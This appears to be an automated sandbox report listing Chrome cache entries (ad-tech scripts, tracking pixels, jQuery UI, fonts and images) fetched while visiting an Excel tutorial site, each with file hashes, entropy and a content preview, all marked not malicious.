Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	16094
Entropy (8bit):	6.016732254781106
Encrypted:	false
SSDEEP:	384:5dyDk5BGPmKlPQQ7+zaU0Cq8TjqxmdZEKm7CyTYJjdM:5sQ2lPFq+2njqxmDm+OYJG
MD5:	168015E2920E111C823BE82132C7568B
SHA1:	EA85DB37AB1D6F3F64EF34B1194022952C792874
SHA-256:	F2236A55236A0C351539ED5C9FDDA3B64FC81F95ACDD57EFEABE6576EA7C2812
SHA-512:	104ABE82E035071AAF561436E24CE4ECF218BC0DA80092306DD824BDAE82DA7114526BB3A25E5929A89084A90536C4A4F5F0A649631206C4707AD1848BC7300A
Malicious:	false
Reputation:	low
URL:	https://pagead2.googlesyndication.com/getconfig/sodar?sv=200&tid=gpt&tv=m202404080101&st=env
Preview:	{"sodar_query_id":"7FUYZsnvFKSMi9YPu_uV2AQ","injector_basename":"sodar2","bg_hash_basename":"L0LConaBzCc577BZGNgzP3bg87fF5vhB9-a07M4Tw6o","bg_binary":"wwUH+MA9s+TWAU0pzgftgmhi2IC7SggPCPP8QsGGz4X7KMMvO0oMnMdpOv/M7Rs1KgVFnxS2w5XcVre3bwMstmr3H8mbzG1HfhuO8B6U1ZjzdvFCniMK7efuwbNkdl71K7hlfAKk+O4dIbiBTpLGCFEXWCeswW/HjwQYVPUHp8MS4VHSQBZp7mWxwhhX2zm51NK95ARTuQ9Yd/4qPwMiwOdpk1Tby7PX43AGBxaS2XHGund0avS7jdKHkiYE09WuBBNjqw8xeVlrlSuWFtFzXSwUVjR2hvaTDC+BSzhK0Qhnpt9zm/sBKSETPkKgozoiXlLtPGbIDuVZsnOPoLgVeyqbyiJdrYMDGJbZWVYUkmDlj6y4aeSHDFs8KQo9Rz+E8YnjEE/8PjYXF/flZDxKRGOEY8t1M+kR5TI90V2swe6p7ypICPOwqM06uvtIRm+Bw2BCp7f9BmH0kuWgDTMXxrA3oPTuVcFE/odCw9iIUDJfBTnAyCoIo0zX5AKM/hJdd9IMxbo4z6dO3rt9iHN7Fy1faC/hY4in1tZcDroBpUQ39LXEZlxeIbYOgGw6rVO6Z9kYLYzaIKvr8EE0rRGwpOQ65211jWVhLfrCqZ3Mkho7aPJf4vQYFK3VXBML4dPbVzz/oSR+hIUhPAhi15T/QhpucG4zpRYwGUbgCnChOZ/MR6saNoRYLkonnovvj+r11W/ethzDznqNi77vm+nbpJ3MvUBMyTmOtFz0MpfbVwOI/rLmvx+T4rNU3+LxOu81QmQDess2eDoIlr3kIOcH66Ry4hMVq6+IBElOChtMDlm/McFvDkUn4ucPoBoXp930oSwW4hlTt/ZZ5KJUE

Chrome Cache Entry: 1029

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 205 x 63, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6482
Entropy (8bit):	7.953636503325335
Encrypted:	false
SSDEEP:	192:C7dcJzXfsU7n51guYxiwa9RtIGm1vQrNSADFbc2G:CBcFP1n5NwareGmGrNSObc9
MD5:	E9DD026CBC7B5DC87E3D685E733763A1
SHA1:	00B96809100D1AD34B176E3332C76FE008B57FF1
SHA-256:	173B3D269FAEECA73A7E0BE702D580ECA7831B14BCD7313D8E7E2698FCABEC89
SHA-512:	964B1F16D8942E27193EB53A38FDB25D0A1AFC43E072BDB790374C065550DAC3674425E3C8B6A21BD31C88F97B5BCBC3A726270205D788AF08B7A3A686004285
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......?.....C.L{....IDATx...k\1....KB....{.^BB..6.a....lc.{....\| ....>x..@..z.......,""bG8`...1i""b.DDd.b.DD....I...U.I....&""&MDDV!&MDDL....4..Y..4...4KKK...b`uu.....lll......u[^^...5S..;-.2.F.?vss..~~^z..x....Il.>...........q.-..s0&S.3....~..?=.}.....v......\..XO...}......4a.$.......T.)0y.D\Fs36.i..y...DIg3. ......o.3...~_.`K.q.n..^~...."...T...C._..$.<sss....4L...`W.'..'...IZ\|.4.4U8.F..$.8i4....j.....V8..g..E.}.=?....].b..0e...W....u.C...k&nh....&.x..iv..&''1N..`......a....x?.2.n~%...l.....JV...gh....^.Qr.\H......tTNu..g.7.Jg.nN....#. ;.F...S..........}....yc/_....j.s..._XX...Y.H&..]..T...H...B.g.0<SVI........4}S.....,.hIr..N....*9.i....K.h...I..pG.O..G...~.I.LOO'%......S..8.Cyyyv....u.].~.^.j.]s}..."..t4Q .............e..=NIv....(.vpoQ."...).3@E0.q.(~......\|...~$..OOhww....Xii..z..n.m.=.3g.Xkk.. .u....@.dall....ljj..8.........tmtt....x..(..9....A.6..p..?Jj..G.Ot3f... ..===...h...VRRb...VYYiMMM...n...& ...%xG.>....~...

Chrome Cache Entry: 1030

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CUnl/7yltxlHh/:/+/
MD5:	07FFF40B5DD495ACA2AC4E1C3FBC60AA
SHA1:	E8AC224BA9EE97E87670ED6F3A2F0128B7AF9FE4
SHA-256:	A065920DF8CC4016D67C3A464BE90099C9D28FFE7C9E6EE3A18F257EFC58CBD7
SHA-512:	49B8DAF1F5BA868BC8C6B224C787A75025CA36513EF8633D1D8F34E48EE0B578F466FCC104A7BED553404DDC5F9FAFF3FEF5F894B31CD57F32245E550FAD656A
Malicious:	false
Reputation:	low
URL:	https://sync.srv.stackadapt.com/sync?nid=20&gdpr=0&gdpr_consent=&gpp=DBABzw~1---~BqgAAAAAAgA&gpp_sid=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 1031

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	142
Entropy (8bit):	5.630818665215581
Encrypted:	false
SSDEEP:	3:YW/3wjRgyVHlE1wPQxWqIM1MMAkjJ3MLDSBlB6U4Ahq3PDY:YWPwt3VHxPQxWqI0MBu8CBWUHq3bY
MD5:	737B8325A106A719447F7C2FF35C2A86
SHA1:	C436D4E060DD9837C0727878B3358C4753A6342D
SHA-256:	C19E94E675FAAE655E664CB319275F32DDF51166C85269DCE89DF6CCE909AE28
SHA-512:	4AC85563280D73DA5F728C690422BA3C8C0973B53D622813F5667F555684211D90A477FF36075E7C122E0FB6F06B0D6C92678CD53FB0CCFB38DED51618D3CA5C
Malicious:	false
Reputation:	low
Preview:	{"s":"tIj+YDF4EW02GbY/kYO+oade7Re3UsvL/uG73OtQTiPbKFmNwu/oBnetjwc=","t":"f0/c03QiWYMCd3Zrx0cVpKl17v/suu8yy2dOgA1ixlzkRQ==","kid":2,"ttl_s":11}

Chrome Cache Entry: 1032

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	150
Entropy (8bit):	4.792110645783077
Encrypted:	false
SSDEEP:	3:PouV7uJzhquHbtt6vYk2ZRMRJfHKERSAEtvxLrXZiLKY8KHMRWCbBK6c4NGL:hxuJzhqIzyYk+qRU4zEdxXZiqjWCbBKj
MD5:	A66DEB29B08318DD4C56AD248A4DB347
SHA1:	F6211C5303D9D2DF09AA01C9067BF6D82262D5C6
SHA-256:	107CAAEA1D8003AB61CAFF8D78E706313D854E9BCB1B6C3DD853ED48BD83AC02
SHA-512:	D6E6828A06DB3F76C8015E6B8E7B513C63C59F641375362394FB1C0EDE26D44733425BDB411BE2B13ED4E38AD58B143A8BE53BDEA61AA07A62F71AE224849587
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html>.<html lang="en">.<head>.<meta charset="utf-8">.<title>Error</title>.</head>.<body>.<pre>Cannot GET /bidRequest/</pre>.</body>.</html>.

Chrome Cache Entry: 1033

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	142229
Entropy (8bit):	5.596533511047624
Encrypted:	false
SSDEEP:	3072:vOe03o4PwjWGXwMr1JCgc0NX3oXKzXkEq:vBWKwMrM0BY5Eq
MD5:	0D3565053856CA97E3EC530C4FE0B43E
SHA1:	2D643ECBE3F40A2CF7D96F0EA1FE47824F012EDE
SHA-256:	1C7A13438386B27AE3874FF95AC5CB2ED21B805261427E9DA870E93C35E788DE
SHA-512:	8157FF31C119F403602AD68B40801AFA8617DE9CF78C90133E436617CA0A902C69F0585CF94513BD0750D7B7D81BB0471F0FA6A7E410AB693132AD48376A8443
Malicious:	false
Reputation:	low
URL:	https://analytics.tiktok.com/i18n/pixel/static/identify_38a7e.js
Preview:	(window["webpackJsonp.TiktTokAnalytics"]=window["webpackJsonp.TiktTokAnalytics"]\|\|[]).push([[1],{"6rls":function(d,t,e){"use strict";e.r(t),e.d(t,"getCookieDeprecationLabel",function(){return Ot}),e.d(t,"getAllTopics",function(){return mt}),e.d(t,"isHash",function(){return lt.c}),e.d(t,"sha256",function(){return n.sha256}),e.d(t,"parsePhoneNumberFromString",function(){return $t}),e.d(t,"validatePhoneNumberLength",function(){return ut}),e.d(t,"checkEmailFormat",function(){return lt.a}),e.d(t,"checkMDNEmailFormat",function(){return lt.b}),e.d(t,"genIdentifierLabelByUserProperties",function(){return Kt});var n=e("bCcq"),r={version:4,country_calling_codes:{1:["US","AG","AI","AS","BB","BM","BS","CA","DM","DO","GD","GU","JM","KN","KY","LC","MP","MS","PR","SX","TC","TT","VC","VG","VI"],7:["RU","KZ"],20:["EG"],27:["ZA"],30:["GR"],31:["NL"],32:["BE"],33:["FR"],34:["ES"],36:["HU"],39:["IT","VA"],40:["RO"],41:["CH"],43:["AT"],44:["GB","GG","IM","JE"],45:["DK"],46:["SE"],47:["NO","SJ"],48:["PL"],4

Chrome Cache Entry: 1034

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 1035

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 480 x 260, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	37857
Entropy (8bit):	7.983671873685436
Encrypted:	false
SSDEEP:	768:4GegV0377Sy5LVWJm5uYRD+yOy9aOB+l5xsN7b3LJ582ZSBWRPL:4Gey0Xp/WnM+yV9LBUsRSMRPL
MD5:	DF96E9F7527F0303EAF69D0432C5CCB6
SHA1:	659C2601D878CE2203B12D689B38C978FAAC74C0
SHA-256:	41E602C5C74E603D040E6164151EFBCABDB380B56B0F0B9E9737CDEB20376512
SHA-512:	D986FB1BEA9D8798A7600E0D20EAB412746E85A266FEAF2A57B3A305D170D7C4C32E474645116919463136B045B17534762EA86130F13C7948BEFF28CD29D21C
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.....................IDATx..wx]W...Sno.].$[r.=....^.I..K..e``f.`h..e..w....^.'...".Y.z.W....q.k..;q...<7O.{.>..S~{...Z..-...F......7..%..wzD.......%.@0Z.M.G...C........r,@....B........7..C7.>u.xlN.)o..(H.t.d..,..4E.k.:..8..u@..B........w..'..........N.A(...>....vF.N$.D.Q.v....&...v...-B..H.?Q.!.B..........q..\|...u..>j.Y.._r...l.Lnw<.i...tZ.9..}>.999.tl..g....Y.Ekk...$........`.."..?ny.K...M....0")..Yk_..3......,...y_E.U..G%......a].....+....HPt...@ .X0&...?n\|.o.....!.!.l...No_/....b1q3.. ...1ALO.7..a....!&.NG.-."..!I.....kY.I.5M.M.e.UU.m.V.=.....pf......{w..F.6y.3g.\|K...<`1.......6..9.D............,.3D.8?y.qb..,.L..OF1..N"C.SW....n..,..I....l..t.J.....s.............E,.....I....... I....i.6.m.0.i......A.....\|.M.4...e.-deeQ^ZNzz.)..x.Wm.. h:H.8.0e.........5..^V...AG.t.@.._.3....[....._....7....0i...`K=,^..`-..vA...O...L.....:.lP6.*.A.I=k...u.....@y6..C...)..i.+..-.4;`B.!.].q.l..<....q.v.fB.$.<.lJr.z.....^.4.5....R..xr..0q....U.

Chrome Cache Entry: 1036

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 1037

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (35965)
Category:	downloaded
Size (bytes):	36148
Entropy (8bit):	5.313324616218112
Encrypted:	false
SSDEEP:	768:bRXXgeAYaCTydYicpah5LXNtUOZsTEzIhuuLpO+euiYWoa:b1XgeAYaCTydYicpahBUOZRLuiYWoa
MD5:	94347D976158326E48AFC6475778DE7B
SHA1:	02CEE0D97E46C9A2B9263B8B86D0334333C33E45
SHA-256:	60E04DCB9483E44801771AAB65DF07BFA3FABBAF9A4386FD05F568D0E4D8710D
SHA-512:	E3E127E9CAB90B261F8A5846FCCBF1E5A11DD1DD9458F11DC2D09F74B815FD0293603FD2F7A465EDB4D11C0586B5A37F661DE8C3409E4EF300AB262D911E090F
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-includes/js/jquery/ui/datepicker.min.js
Preview:	/!. jQuery UI Datepicker 1.12.1. * http://jqueryui.com. . Copyright jQuery Foundation and other contributors. * Released under the MIT license.. * http://jquery.org/license. */.!function(e){"function"==typeof define&&define.amd?define(["jquery","./core"],e):e(jQuery)}(function(M){var r;function e(){this._curInst=null,this._keyEvent=!1,this._disabledInputs=[],this._datepickerShowing=!1,this._inDialog=!1,this._mainDivId="ui-datepicker-div",this._inlineClass="ui-datepicker-inline",this._appendClass="ui-datepicker-append",this._triggerClass="ui-datepicker-trigger",this._dialogClass="ui-datepicker-dialog",this._disableClass="ui-datepicker-disabled",this._unselectableClass="ui-datepicker-unselectable",this._currentClass="ui-datepicker-current-day",this._dayOverClass="ui-datepicker-days-cell-over",this.regional=[],this.regional[""]={closeText:"Done",prevText:"Prev",nextText:"Next",currentText:"Today",monthNames:["January","February","March","April","May","June","July","August","Septembe

Chrome Cache Entry: 1038

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 480x304, components 3
Category:	dropped
Size (bytes):	18965
Entropy (8bit):	7.959662866532555
Encrypted:	false
SSDEEP:	384:46xYpTRxAJhzAZj8ceX7HnAc+8NP7x7txkPfL3WKLr/eETXnW:16pdxAJhMd8ceX7Ha8RtkPfrWkr/fTXW
MD5:	062DC7418AADBA7F37D86BAD5A902B3C
SHA1:	27211C0934E6E207CD89DAF5680D06655C14804F
SHA-256:	B49B3974A03D12F6C4459178DA0417BAC0898A7A9B7D5E4699B15B7F1A71377D
SHA-512:	54E9B9824C83FB629F8569EC30C62DB5908CA54561D531E62D0AB7CF161929755DAE9C2495B4923A92B78760A4844ACA123076047D2E1F822CCD13D4073A49FC
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$......0....".........................................Y...........................!.1AQ...."Uaq....2RSt....6BDET....#$357Cb..%&4crsu.....Vd.'.................................3.......................Q...!1.A"#3a.2Rq..$....Br.............?..D '1I..->.....<..TE....&..d.alL...V.Y1.....T.S.......T..v.<...SVVZV.;....+...v.w78.;..e.....K...i...C....<.. .5'.3..\|(A+S....[a3U.....M.:ss8/<.g.J....Q. ..a1.z..X3....+.5.<....,.#[...-RDbv.S\.+.Q...7..-M)a.r44,..x$ed.1.F......7ad..kS7....L.#k..#!@..R.........W'."..Y.....H/h.......oZ.Ks.r.h.b9............a...8w.../\|...\.[?...cd.F.e.9.ty........u.gR.#.....Y6.<V..i...x...s.Uz...i..M...\|.....F....O1t..&8RG..a<....Jt..W;..X%...I....GZ.-H....g..'b].y..B...+....%z.&x-.8G5v.....O.[O..C..1...p.'..u.%N.yV..zr@{..:...(T....m4m.....M...k......L7k.....By...S.rW..L..&k...

Chrome Cache Entry: 1039

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 1040

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (336)
Category:	downloaded
Size (bytes):	337
Entropy (8bit):	4.788588326626593
Encrypted:	false
SSDEEP:	6:PVR+8QSnJzOkRTR+8QXlOJbQTR+8QCAqJv:z+HSdP+HXau+HCFv
MD5:	C39482EA0D3E11E7A350E298EBA0F5AB
SHA1:	6844C07DE227913CAE4656B5322AB38C8CCD0DAA
SHA-256:	E51C01E9ADDE255CF2807C736AAF4782983A9A8623023D989544D79FA1BD3B65
SHA-512:	4E5322A83295E212607B21E7344BD04F1A36802B57A32683FF73FDC13FE3EBA32A57362310FF4D2E5FCE1040501ED37D5FD5BE7637368FCF71C5AA08A5B12FE5
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/fonts/gordita/font-gordita.min.css
Preview:	@charset "UTF-8";@font-face{font-family:Gordita;src:url(Gordita-Regular.ttf) format('truetype');font-style:normal}@font-face{font-family:Gordita;src:url(Gordita-Medium.ttf) format('truetype');font-style:normal;font-weight:500}@font-face{font-family:Gordita;src:url(Gordita-Bold.ttf) format('truetype');font-style:normal;font-weight:700}.

Chrome Cache Entry: 1041

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65440)
Category:	downloaded
Size (bytes):	305153
Entropy (8bit):	5.28871415824133
Encrypted:	false
SSDEEP:	6144:MZShGIKSCu4DzPF0BfZiP9GwBKn3YifcN1:MZShqSCu4DzP+fkPkw2fcb
MD5:	B9E5BC6AE2304C1FF623D74C6E93FE00
SHA1:	BF769EAF9695B695795D2292DF891E3FB1B5E8DA
SHA-256:	2F2EF1A173106EFC9F1E2048EE2A1F0ECAC78E166A57E83128776F565312357E
SHA-512:	D9C8E8E2219DA99EAEBA57E2648CA41935008CDDF44BB1BC1BE7E2B94B28DB2E046BFDD8ECEFE5A38B0CF611F91BAE1BD03BEE3C46C756876DBDE49C77675F44
Malicious:	false
Reputation:	low
URL:	https://c.amazon-adsystem.com/aax2/apstag.js
Preview:	/! @amzn/apswebapstaglibrary - web-client-bundle - v24.305.1002 - 2024-03-05 10:02:18 /.!function(){"use strict";var t=function(e,n){return t=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(t[n]=e[n])},t(e,n)};var e=function(){return e=Object.assign\|\|function(t){for(var e,n=1,o=arguments.length;n<o;n++)for(var r in e=arguments[n])Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t},e.apply(this,arguments)};function n(t,e,n,o){var r,i=arguments.length,a=i<3?e:null===o?o=Object.getOwnPropertyDescriptor(e,n):o;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)a=Reflect.decorate(t,e,n,o);else for(var c=t.length-1;c>=0;c--)(r=t[c])&&(a=(i<3?r(a):i>3?r(e,n,a):r(e,n))\|\|a);return i>3&&a&&Object.defineProperty(e,n,a),a}function o(t,e,n,o){return new(n\|\|(n=Promise))((function(r,i){function a(t){try{u(o.next(t))}catch(t){i(t)}}function c(t){try{u(o.throw(t))}c

Chrome Cache Entry: 1042

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 205 x 95, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	9684
Entropy (8bit):	7.939293879530483
Encrypted:	false
SSDEEP:	192:NTMdYbO/g0SjphSbUceN6ka7JhfeJOehcZTRXfXpBzlNLEDqPo:NTMyO/g0sGUN6ka7JhfUcBRTPLEDB
MD5:	AEAEF7805FDAD35E9F08CDB290FB32BB
SHA1:	DFBEF85CA0E5EDCB626BF31529C5C5D8DB6D8847
SHA-256:	21FD52F16BEEF5ADFD7F70A80AFA9EF1C0759682A21F5CF3FFA9A17D6AD9B73D
SHA-512:	70D1542D5E7D17E53DEA8F44B578F9203E7BCD3FEE474F60B37A0AF7B7BBA61E4469AA912D9461DAE33DDB4F19EDE307374C710FAC1927ED8206261A47157CBF
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/Screenshot-2021-06-25-at-8.27.35-PM.png
Preview:	.PNG........IHDR......._.....K.C!..%.IDATx...kVK...KV.DQ.+.....(..T......bGE..%...{..30..\|'...B.d..Sw...g..M;..544.....j....VSS#uuu..^.V__..1.18..v....f.w+++.ykYk'.......I......VQQA_..fN.<.w\`.J.0h....M.C.J......A......f..A.(--...\|.....4.....2..}T....z......b.c!..ef....(.....'O..K.o.>.a.,Y.D../s..Y.f.9s$JV.Z%.m.c...W......./........N.:..7.Mk.A..(80....;9s.].V.L.".......H....\|.a2~.x.1c..7.X...S..1cd...n.>}.W.^2b...l..r..yy..$$$.e...J.yhZ.,..<....={T1....$...C...S.......}...8IIIQ...4<KMM...X.....7..e...3...8..O.7o...]..'... .M..c.....<....z...C.d.....}...r.........>.....T.....@.s..t..5o.../%..Q.`2...#'O.T...............3.........<.\tt.\|..Y.={.L.o...?~.@.C(....x.......b.........5B}x..}.xi....C.r.qLJJR..8q.t...^g..?...E..8=}P..o...P%B6.Y&L..c..C..8 g..w.>\|(O.>U.>~.(._.&.S....#.i.Gh8d..../.`...28}.....<4.2[<...yF.1{.l.....=Zg....:.(\..h!`...$...&MB.H.U.v..%/_.D..<...7.......}...5.....#.4.y......5.....\...',...i.M..

Chrome Cache Entry: 1043

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6482), with no line terminators
Category:	downloaded
Size (bytes):	6482
Entropy (8bit):	5.386219794662181
Encrypted:	false
SSDEEP:	192:UaveH+XTFLLgXxQRCJS3ZE1m1j/YMvKTP+pmY2/:UdqTFPKt16EMiY2/
MD5:	A4D296427FC806B21335359E398C025C
SHA1:	46928CCD1407B4E55192BB9D0A07DCFEBD9687B7
SHA-256:	06B99248A163333E36980A6CFB756F1A7DE60FA49517162B87B1A44D5D48F844
SHA-512:	4C0326040E2C7837FA78185CC5A185EA43697DD4F3591757F84BDA76BAC746BADFBE047DAC2C1DC677561FD6CC6C5D5B4BEBB7D671CB82AB04E070DA766FE6AF
Malicious:	false
Reputation:	low
URL:	https://c.amazon-adsystem.com/bao-csm/aps-comm/aps_csm.js
Preview:	var amzn_aps_csm=amzn_aps_csm\|\|{};amzn_aps_csm.errors=[],amzn_aps_csm.reportErrors=function(a){var b,c;for(/^https?:\/\//.test(a)===!1&&(a=document.location.protocol+"//"+a),"/"!==a.substr(a.length-1)&&(a+="/"),b=0;b<amzn_aps_csm.errors.length;b++)c='{"adViewability":[{"error": {"m": "'+amzn_aps_csm.errors[b]+'"}}], "c": "aps_communicator", "api": "RTB", "error": 1}',"https:"===document.location.protocol&&/^http:\/\//.test(a)===!0&&(a=a.replace("http://","https://")),(new Image).src=a+c+"?cb="+Math.round(1e7*Math.random());amzn_aps_csm.errors=[]},function(a){function b(a){return a?a.replace(/^\s+\|\s+$/g,""):a}function c(a){if(a&&a.s){var b,c=a.s.length>0?a.s[0]:"",d=a.s.length>1?a.s[1]:"";c&&(b=c.match(j)),b&&3===b.length\|\|!d\|\|(b=d.match(i)),b&&3===b.length&&(a.f=b[1],a.l=b[2])}}function d(a,d){if(d=d\|\|{},!a)return{};a.m&&a.m.message&&(a=a.m);var i,j,k,l,m,n={m:e(a,d),c:a.c?""+a.c:a.c,s:[],l:a.l\|\|a.line\|\|a.lineno\|\|a.lineNumber,name:a.name,type:a.type},o=0,p=0;if(i=a.stack\|\|(a.err?a.err

Chrome Cache Entry: 1044

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (41814), with no line terminators
Category:	downloaded
Size (bytes):	41814
Entropy (8bit):	5.4456882508262465
Encrypted:	false
SSDEEP:	768:uCviPrrODV5LHyVac3rV1F9W2m9fdYrtwIZqqCiH4QPCdCntk0zoUKslGU9hPv3A:u1oTLHKV949fdYrSAqqCiXPGsu3EtRNO
MD5:	350570CCAB34F6CEF000BACC31608984
SHA1:	7FD0E1F7990F53C03860CE3889E4089657F1D565
SHA-256:	85096C77C1F482D9CE8DD16FE36E1C5E8902029C4A551A41773C96711BF0B10F
SHA-512:	009B957D557889A4B09CA4F723B4641EE0EF1282F5CC8773BAF006E77C871A90B5C988E43D2E98DB85B320E01817D9B7024268DCBFB618DA0C178D5119B0C0CE
Malicious:	false
Reputation:	low
URL:	https://scripts.mediavine.com/tags/4420/0613e8a9b66b5a44e678.min.js
Preview:	"use strict";(self.mvWrapperJsonp=self.mvWrapperJsonp\|\|[]).push([[4420,999],{6500:(t,e,i)=>{i.r(e),i.d(e,{GPP:()=>_});var s=i(8473),r=i(3583),n=i(6643),o=i(4441),a=i(3528),l=i(2932),p=i(6921),d=(t,e,i)=>new Promise(((s,r)=>{var n=t=>{try{a(i.next(t))}catch(t){r(t)}},o=t=>{try{a(i.throw(t))}catch(t){r(t)}},a=t=>t.done?s(t.value):Promise.resolve(t.value).then(n,o);a((i=i.apply(t,e)).next())}));let c,h;function u(){return d(this,null,(function*(){if(!h){const{GDPR:t}=yield Promise.all([i.e(1011),i.e(8262)]).then(i.bind(i,1353));h=new t}return h}))}var m=(t=>(t.US="US",t.EU="EU",t))(m\|\|{}),g=(t=>(t[t.TCFEUV2=2]="TCFEUV2",t[t.TCFCAV1=5]="TCFCAV1",t[t.USPV1=6]="USPV1",t[t.USPNATV1=7]="USPNATV1",t[t.USPCAV1=8]="USPCAV1",t[t.USPVAV1=9]="USPVAV1",t[t.USPCOV1=10]="USPCOV1",t[t.USPUTV1=11]="USPUTV1",t[t.USPCTV1=12]="USPCTV1",t))(g\|\|{}),y=i(9399);const f=new Map;f.set("US",m.US);for(const t in y.g)f.set(t,m.EU);var S=(t=>(t.NOT_APPLICABLE="BqgAAAAAAgA",t.APPLIES="BqgAAAAAAgA",t.NOTIFIED="BVQqAAAAA

Chrome Cache Entry: 1045

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	100
Entropy (8bit):	5.567368784857284
Encrypted:	false
SSDEEP:	3:AKgx1doNSPMPApBtB8RSTfJt71aR1nWvXLAHQ1n:AKgxEPMBtm0Tjo12Ew1
MD5:	91B5D0229F0EDECB80511A7C74FB025A
SHA1:	4EA87E19FB3471AEA8B8FF249DCDFE2357674B1B
SHA-256:	3CF0E7715168C1EA89AAA3E54BE368E3B817E3607B94DD6414283B8D8413C9A5
SHA-512:	6A20DA1E5CC5D10D411B5E40AF162450D9894F3CEB78B8CDE95F71FB13CAB89828BB86EC7E316C736711A524856D1EBFE65A78BC37BD9A8A96B12B67E813E719
Malicious:	false
Reputation:	low
URL:	https://imp-dev.mediavine.com/sk?domain=earnandexcel.com
Preview:	V1:0R/ET7+G5x4qSLaC:haN7jirAFTarMS1LdVlRdx86+BFMm7c/3ozKAnDvDfBpzXNcrDtN4SQrR3792X5PYXOv7tiEjaJjVA==

Chrome Cache Entry: 1046

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
